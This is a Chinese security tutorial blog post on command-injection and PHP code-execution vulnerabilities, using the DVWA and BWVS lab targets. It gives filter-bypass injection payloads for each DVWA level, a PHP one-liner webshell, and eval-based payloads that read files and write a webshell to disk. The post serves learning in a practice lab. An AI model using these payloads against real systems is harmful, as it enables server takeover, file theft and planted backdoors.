文章目录
- 前言:
- 一、基础知识
- 1、命令执行漏洞
- 常用的命令连接符:
- 2、代码执行漏洞
- 3、PHP中的危险函数:
- 二、靶场练习
- 命令执行:
- 1、Low级别
- 2、Medium级别
- 3、High级别
- 4、Impossible级别
- 代码执行
- 1、一句话木马:
- 2、获取当前工作路径:
- 3、读文件:
- 4、写webshell:
前言:
这周来学习下 “命令执行” 与 “代码执行” 漏洞;命令执行漏洞与代码执行漏洞没有太大的区别,不过我们在学习时还是要区分不同的概念。
一、基础知识
RCE,即 Remote Command/Code Execute:远程命令/代码执行。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
很多人喜欢把代码执行漏洞称为命令执行漏洞,因为命令执行漏洞可以执行系统命令,而代码执行漏洞也会执行系统命令,这样就容易混淆。其实两者比较好区分:命令执行漏洞是直接调用操作系统命令,故这里叫作OS命令执行漏洞,而代码执行漏洞则是靠执行脚本代码调用操作系统命令。
1、命令执行漏洞
Web应用有时需要调用一些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。
示例:pikachu靶场提供了测试域名/IP的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:
通常这并没有什么问题,但不要忘记命令可以连接执行。
输入:www.baidu.com && dir
在知道了系统命令可以连接执行后,如果 Web应用程序没有过滤好输入,就变得相当危险。命令注入漏洞本身不会导致系统受损,但是攻击者可能能够使用提权升级和其他漏洞来获得更多访问权限。
常用的命令连接符:
Windows和Linux都支持的连接符:
A|B 只执行B
A||B 如果A执行出错,则执行B
A&B 先执行A,不管是否成功,都会执行B
A&&B 先执行A,执行成功后执行B,否则不执行B
只有Linux支持的连接符:
A;B 先执行A,再执行B
2、代码执行漏洞
代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
例:
让用户输入字符,我们来输入phpinfo();
发现直接执行了我们输入的代码。
查看代码发现是 eval()
函数执行了我们的提交参数。
3、PHP中的危险函数:
命令执行:
system() 输出并返回最后一行shell结果
exec() 执行一个外部程序
shell_exec() 通过shell环境执行命令,并且将完整的输出以字符串的方式返回
passthru() 执行外部程序并且显示原始输出
pcntl_exec() 在当前进程空间执行指定程序
popen() 打开进程文件指针
proc_open() 执行一个命令,并且打开用来输入/输出的文件指针
代码执行:
eval() 把字符串作为PHP代码执行
assert() 检查一个断言是否为 FALSE,可用来执行代码
preg_replace() 执行一个正则表达式的搜索和替换
call_user_func() 把第一个参数作为回调函数调用
call_user_func_array() 调用回调函数,并把一个数组参数作为回调函数的参数
array_map() 为数组的每个元素应用回调函数
了解了这些知识后,在本地搭建的靶场中练习下。
二、靶场练习
命令执行:
使用DVWA靶场的Command Injection(命令注入)模块。
先从Low级别开始。
1、Low级别
查看源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>
可以看到,low级别的代码接收了用户输入的ip,服务器通过判断操作系统执行不同 ping 命令。但是这里对用户输入的ip并没有进行任何的过滤,所以存在可利用的命令执行漏洞。
用&&
来执行多条命令,构造payload:127.0.0.1&&net user
执行成功!(如果存在乱码问题,把DVWA\dvwa\includes
目录下的dvwaPage.inc.php
文件中所有的”charset=utf-8”
,全部替换修改为”charset=gb2312”
即可)
2、Medium级别
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>
可以看到,medium级别相较于low级别的代码,增加了对 &&
和 ;
的过滤,绕过也很简单,不用 &&
,直接用 &
不就好起来了吗!
&&
和&
的区别在于&&
是执行完前面的命令然后执行后面的命令,&
是不管前面的命令是否值执行,后面的都执行。
构造poyload:127.0.0.1&ipconfig
绕过执行成功!
3、High级别
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}
?>
相比于前面两个等级的,high等级的黑名单更完善了,但是由我们可以看出来他只是过滤掉了“| ”
,如果用|
后不跟空格就可以绕过过滤。
构造payload:127.0.0.1|dir
绕过成功。
4、Impossible级别
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];$target = stripslashes( $target );// Split the IP into 4 octects$octet = explode( ".", $target );// Check IF each octet is an integerif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();
?>
了解下几个函数:
stripslashes(string) : 该函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。explode(separator,string,limit): 该函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。is_numeric(string): 该检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
可以看到 Impossible级别的代码加入了Anti-CSRF token
,至于什么是Anti-CSRF token
点击 链接 查看。
同时对参数ip进行了严格的限制,只有“数字.数字.数字.数字”
的输入才会被接收执行,因此不存在命令注入漏洞。
代码执行
使用 BWVS 的靶场。
1、一句话木马:
输入
${@eval($_POST['a'])}
蚁剑连接:
2、获取当前工作路径:
输入:
${exit(print(getcwd()))}
3、读文件:
${exit(var_dump(file_get_contents($_POST[f])))}POST:f=文件路径
4、写webshell:
${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=webshell.php&d=<?php @eval($_POST['abc']); ?>
测试是否上传成功:
成功上传!
🆗,关于命令执行与代码执行漏洞,这次就先总结到这啦。(●’◡’●)
参考博客:
https://blog.csdn.net/qq_43625917/article/details/98802320
https://blog.csdn.net/qq_36119192/article/details/82917250
https://blog.csdn.net/jpygx123/article/details/83276533
本文链接:https://my.lmcjl.com/post/7478.html
4 评论